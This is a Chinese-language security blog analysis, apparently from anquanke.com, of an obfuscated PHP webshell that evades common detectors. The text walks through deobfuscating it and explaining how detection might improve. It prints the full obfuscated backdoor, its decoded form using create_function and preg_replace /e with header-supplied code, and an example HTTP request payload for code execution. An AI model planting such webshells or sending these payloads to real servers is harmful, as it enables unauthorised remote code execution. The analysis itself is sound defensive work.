標籤:

一類混淆變形的Webshell分析

Webshell簡介

Webshell起初是作為管理員進行伺服器遠程管理的一類腳本的簡稱。現在Webshell更多的指Web入侵的工具腳本。Webshell不同於漏洞,而是利用應用漏洞或者伺服器漏洞後上傳到伺服器進行後續利用,屬於滲透測試的post-exploitation(後續利用階段)。Webshell文件大小與功能千差萬別,從最簡單的一句話類命令執行Webshell到提供各種複雜操作(如埠掃描、資料庫操作、內網滲透)的大馬。

而為了能夠及時地發現這些Webshell,出現很多能夠識別出Webshell功能的工具,包括D盾,安全狗等各種安全防護軟體。這些防護軟體的思路也很簡單,通過內置一些常見的Webshell的規則特徵,然後對文件進行掃描,如果符合規則,則認為是Webshell。攻擊者們為了繞過這些防護軟體的檢測,都會變換自己的Webshell寫法,在保證功能的前提下確保自己的Webshell不會被查殺,其中尤以PHP的寫法為多。因為PHP是腳本語言,而且能夠利用的函數也很多,再加上PHP語言的特性也是十分的多,導致一個Webshell可以進行千變萬化.PHP WebShell變形技術總結這篇文章就總結了常見的php類的Webshell變形技術。繁多的寫法也為安全防護軟體的識別提出了挑戰。

本篇文章就是我之前做有關Webshell相關的工作時發現一類Webshell,此類Webshell無法被目前的安全防護軟體識別,我因此對其進行了分析。本篇文章就是對此類Webshell的分析,最後對混淆的Webshell如何進行分析的一些思考,也希望大家提出一些更好的方法。

前言

之前分析Webshell時,發現一類Webshell完全可以逃過各種檢測軟體包括D盾、安全狗等,D盾甚至不會對這類的Webshell進行任何的警告。但是如果我們從代碼層面上看完全是無意義的字元串,甚至都不能說是代碼。但是如果我們抽絲破繭一步步地分析可以發現的確是Webshell。後來通過大量的樣本收集工作,我發現這類的Webshell混淆方式不僅相似,連最後還原出來的Webshell的格式也是十分的雷同。而本文就是對這類Webshell的分析,也希望能夠其他拋磚引玉的作用,大佬們也能夠提供自己的思路。

分析

Webshell的代碼如下:

<?php$XR=r0nw&~Y0dTO1Wt;$ZAps4M=+l-&)fw;$AKsSa=FAPZB." "|HDAHH.!;$j5gQLS=#XTQGk. c{.wwtw_w.}~ov}oo&sw}o~w_w}~su}oo;$PqU=#li5cBcb42vVsRV4pLBKntygCNiV5lHCR. HA*:[ q`@}T@0ZLb>y M^@$@4@tA%0PI|@].kkR4UPA.-.PJt8_.!Va%XB@RB0@./*lCU5. UP@0M*/TPc0PK;$FtaeUxv=}9Z~?V@[4~o}Mj>.Z_zK.?.keFwUsOd.^We}&}{zN?./*n. fLL*/wxGiDe.}mOz[oKa~~7.Owuug.{~{n{;$rG4r3bseFJ=*n}Pqf-n#g^#a_lCdbiaBRR. m81-2Eu0~C;$rB=b1`]gAD~`A|!6`Ag@.ptYG;$L_X96rF=kO>w=?~&Q{mw>7^;yuBw. -.A;$yc=@@b @"!|BBp)@`);$mdKTVt=EcP791|UAFQ."<u";$Ulin=4z#j1!K^#IMQIwU. c>Q pir;$wVYqzGy5=u%!k*{il`^=qu;u#690;$BywtZ8QaHFk=_KELlmn&_Wa~M[_;BU. iGh o|;$YzuZ=n^);$PpCD4RJ914D="+|*%"^t0ck;$IIBxK1GA_=]_&g_;$StoL=M&i;Jb. K8f-._$Js;$IXedwT=T&D;$ZVe4pZrS1=$ZAps4M|(^di^;D]);$atE4muYNLph=(#Dfao7h. $;$G|) %$$U)^$AKsSa;$vUr=$j5gQLS&(A^>1NQy%F+.SHI8.[^#Ereo6cpaZFW9p3w. &$YX8<&C1E$4 W5);$Pwp6=(!Pec|L^VlMPH5)^(?h}go>&?k|s{y);$HLOTWYy3Ip6=/*. 2c@lB!:Kru*/$PqU^$FtaeUxv;$bAXD1h2s=$rG4r3bseFJ^$rB;$O0Xnet=("9{".SIkzl&#gIg3. =~.KQnZo)^$L_X96rF;$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&(ysO[r}&{w_[y});if(/*. Tf0tz*/$ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,/*. HNy*/$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_./*wQit. NLNa~*/$StoL.$IXedwT));$bIywY($O0Xnet,$ro74Wy,$OIYd);#k;xvCWvgqQ!L>?10w:u&{E. @!*V9v939Jjr,?+kMW$8#{^v7[MR9pBS,PSH.o5};?>

初看之下,沒有任何Webshell的痕迹。

去除注釋

由於代碼中混雜了部分無意義的注釋,如第1行中的#XTQGk.。所以我們首先是去除注釋,得到:

<?php$XR=r0nw&~Y0dTO1Wt;$ZAps4M=+l-&)fw;$AKsSa=FAPZB." "|HDAHH.!;$j5gQLS= c{.wwtw_w.}~ov}oo&sw}o~w_w}~su}oo;$PqU= HA*:[ q`@}T@0ZLb>y M^@$@4@tA%0PI|@].kkR4UPA.-.PJt8_.!Va%XB@RB0@.TPc0PK;$FtaeUxv=}9Z~?V@[4~o}Mj>.Z_zK.?.keFwUsOd.^We}&}{zN?.wxGiDe.}mOz[oKa~~7.Owuug.{~{n{;$rG4r3bseFJ=*n}Pqf-n#g^ m81-2Eu0~C;$rB=b1`]gAD~`A|!6`Ag@.ptYG;$L_X96rF=kO>w=?~&Q{mw>7^;yuBw.-.A;$yc=@@b @"!|BBp)@`);$mdKTVt=EcP791|UAFQ."<u";$Ulin=4z#j1!K^ c>Q pir;$wVYqzGy5=u%!k*{il`^=qu;u#690;$BywtZ8QaHFk=_KELlmn&_Wa~M[_;BU.iGh o|;$YzuZ=n^);$PpCD4RJ914D="+|*%"^t0ck;$IIBxK1GA_=]_&g_;$StoL=M&i;Jb.K8f-._$Js;$IXedwT=T&D;$ZVe4pZrS1=$ZAps4M|(^di^;D]);$atE4muYNLph=( $;$G|) %$$U)^$AKsSa;$vUr=$j5gQLS&(A^>1NQy%F+.SHI8.[^ &$YX8<&C1E$4 W5);$Pwp6=(!Pec|L^VlMPH5)^(?h}go>&?k|s{y);$HLOTWYy3Ip6=$PqU^$FtaeUxv;$bAXD1h2s=$rG4r3bseFJ^$rB;$O0Xnet=("9{".SIkzl& =~.KQnZo)^$L_X96rF;$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&(ysO[r}&{w_[y});if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));$bIywY($O0Xnet,$ro74Wy,$OIYd);@!*V9v939Jjr,?+kMW$8#{^v7[MR9pBS,PSH.o5};?>

代碼格式化

為了便於分析,對代碼按照;重新對代碼進行編排,得到如下所示的代碼:

$XR=r0nw&~Y0dTO1Wt;$ZAps4M=+l-&)fw;$AKsSa=FAPZB." "|HDAHH.!;$j5gQLS= c{.wwtw_w.}~ov}oo&sw}o~w_w}~su}oo;$PqU= HA*:[ q`@}T@0ZLb>y M^@$@4@tA%0PI|@].kkR4UPA.-.PJt8_.!Va%XB@RB0@.TPc0PK;$FtaeUxv=}9Z~?V@[4~o}Mj>.Z_zK.?.keFwUsOd.^We}&}{zN?.wxGiDe.}mOz[oKa~~7.Owuug.{~{n{;$rG4r3bseFJ=*n}Pqf-n#g^ m81-2Eu0~C;$rB=b1`]gAD~`A|!6`Ag@.ptYG;$L_X96rF=kO>w=?~&Q{mw>7^;yuBw. -.A;$yc=@@b @"!|BBp)@`);$mdKTVt=EcP791|UAFQ."<u";$Ulin=4z#j1!K^ c>Q pir;$wVYqzGy5=u%!k*{il`^=qu;u#690;$BywtZ8QaHFk=_KELlmn&_Wa~M[_;BU. iGh o|;$YzuZ=n^);$PpCD4RJ914D="+|*%"^t0ck;$IIBxK1GA_=]_&g_;$StoL=M&i;Jb. K8f-._$Js;$IXedwT=T&D;$ZVe4pZrS1=$ZAps4M|(^di^;D]);$atE4muYNLph=( $;$G|) %$$U)^$AKsSa;$vUr=$j5gQLS&(A^>1NQy%F+.SHI8.[^ &$YX8<&C1E$4 W5);$Pwp6=(!Pec|L^VlMPH5)^(?h}go>&?k|s{y);$HLOTWYy3Ip6=$PqU^$FtaeUxv;$bAXD1h2s=$rG4r3bseFJ^$rB;$O0Xnet=("9{".SIkzl& =~.KQnZo)^$L_X96rF;$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&(ysO[r}&{w_[y});if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));$bIywY($O0Xnet,$ro74Wy,$OIYd);@!*V9v939Jjr,?+kMW$8#{^v7[MR9pBS,PSH.o5};

分析代碼發現,大部分的代碼都是通過字元串的|^.操作賦值,只有最後兩行代碼:

if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));$bIywY($O0Xnet,$ro74Wy,$OIYd);

是關鍵性的代碼,而其中的變數都是通過前面的初始化或者是運算得到的。那麼我們就可以注釋最後兩行代碼,輸出其中所有的變數。結果如下:

帶入到最後的兩行代碼中,得到:

if(md5(getenv(HTTP_A))==5d15db53a91790e913dc4e05a1319c42) $bIywY=create_function($a,$b,$c,getenv(HTTP_X_UP_CALLING_LINE_ID));$bIywY(x1o6Vm2,WFrkAj9,WFrkAj9);

Webshell分析

if(md5(getenv(HTTP_A))==5d15db53a91790e913dc4e05a1319c42) $bIywY=create_function($a,$b,$c,getenv(HTTP_X_UP_CALLING_LINE_ID));$bIywY(x1o6Vm2,WFrkAj9,WFrkAj9);

這個代碼就是很明顯的Webshell代碼了,整個代碼主要是利用了PHP的以下特性:

  1. 所有的通過getenv獲取HTTP開頭的變數都是可以通過請求頭設置的,即用戶/攻擊者是可以控制的。
  2. create_function能夠執行代碼,如$func = create_function($a,$b,eval("phpinfo();"););$func();

在本題中我們利用以上的特性就可以進行代碼執行了。由於其中的5d15db53a91790e913dc4e05a1319c42無法解出來,為了便於演示,換成e10adc3949ba59abbe56e057f20f883e(123456的md5)。

那麼我們最終發送的payload為:

GET /test/tmp.php HTTP/1.1Host: localhostA: 123456X-Up-Calling-Line-Id: assert("phpinfo();");

其中請求頭A就是密碼,而X-Up-Calling-Line-Id就是需要執行的命令,當然我們還可以將其改造為assert($_POST[cmd]);

總結

其實本題目中最重要的兩步就是去掉注釋以及代碼的重新編排,這個對於分析混淆的php代碼是非常有幫助的。尤其是要注意到最後兩行代碼是需要進行注釋的,否則直接運行由於無法通過md5的校驗導致程序無法執行。

get_defined_vars

除了上述所講到的通過var_dump(變數名)這種方式輸出變數,還有很多其他的方法。如通過get_defined_vars()輸出。我們通過在所有的變數下方加入:

<?php$XR=r0nw&~Y0dTO1Wt;$ZAps4M=+l-&)fw;//..... php code$vUr=$j5gQLS&(A^>1NQy%F+.SHI8.[^ &$YX8<&C1E$4 W5);$Pwp6=(!Pec|L^VlMPH5)^(?h}go>&?k|s{y);$HLOTWYy3Ip6=$PqU^$FtaeUxv;$bAXD1h2s=$rG4r3bseFJ^$rB;$O0Xnet=("9{".SIkzl&=~.KQnZo)^$L_X96rF;$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&(ysO[r}&{w_[y});var_dump(get_defined_vars());//if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT)); //$bIywY($O0Xnet,$ro74Wy,$OIYd);

這樣同樣可以得到所有的變數

動態調試

這個方式是我比較推崇的,因為比較直接使用。通過一步一步跟蹤代碼更容易看清實質

不僅可以通過Variables查看所有的變數還可以通過Evaluate進行php代碼編寫得到中間變數。通過這兩者的配合基本上就可以得到所有的變數信息了。

後文

通過分析,發現存在大量這種類似的Webshell代碼,如下:

這些代碼的結構同時相似的:最後生成的代碼都是形如:

if(md5(getenv(HTTP_A))==5d15db53a91790e913dc4e05a1319c42) call_user_func(preg_replace,/[pS]/emix,getenv(HTTP_X_DEVICE_ACCEPT_CHARSET),eC11cC1kZXZjYXAtbXNpemU=);

那麼猜測應該是有程序能夠按照一定的規則生成這種加密的Webshell代碼。這些Webshell的密碼都是相同的,表明這些Webshell可能是出自同一人之手。

我們也有理由猜測,這個幕後的Webshell的作者可能是編寫了一套規則,用以對原始的Webshell進行混淆變形從而繞過防護軟體。從這個角度來看的話,如果有其他的攻擊者也能夠自行設計一套混淆加密的規則,那麼是否也能夠繞過防護軟體呢?

說完了繞過,最後說明一下我對Webshell檢測的看法。由於語言的特性,導致Webshell的變形層出不窮,如果僅僅只是猴急已有的Webshell的規則,或者是通過文本字元串上面去對抗,是無法保證準確率的,變形的套路總是會多到精疲力竭,一種繞過姿勢又可以衍生出出無限多的樣本,所以如果想能夠有效地檢測出未知的Webshell,那麼就需要藉助於機器學習的方法來進行識別了。如何利用機器學習來識別出Webshell,那麼這又是一篇很大的文章了。

本文由安全客原創發布

如若轉載,請註明出處: anquanke.com/post/id/98

安全客 - 有思想的安全新媒體

推薦閱讀:

TAG:代碼分析 |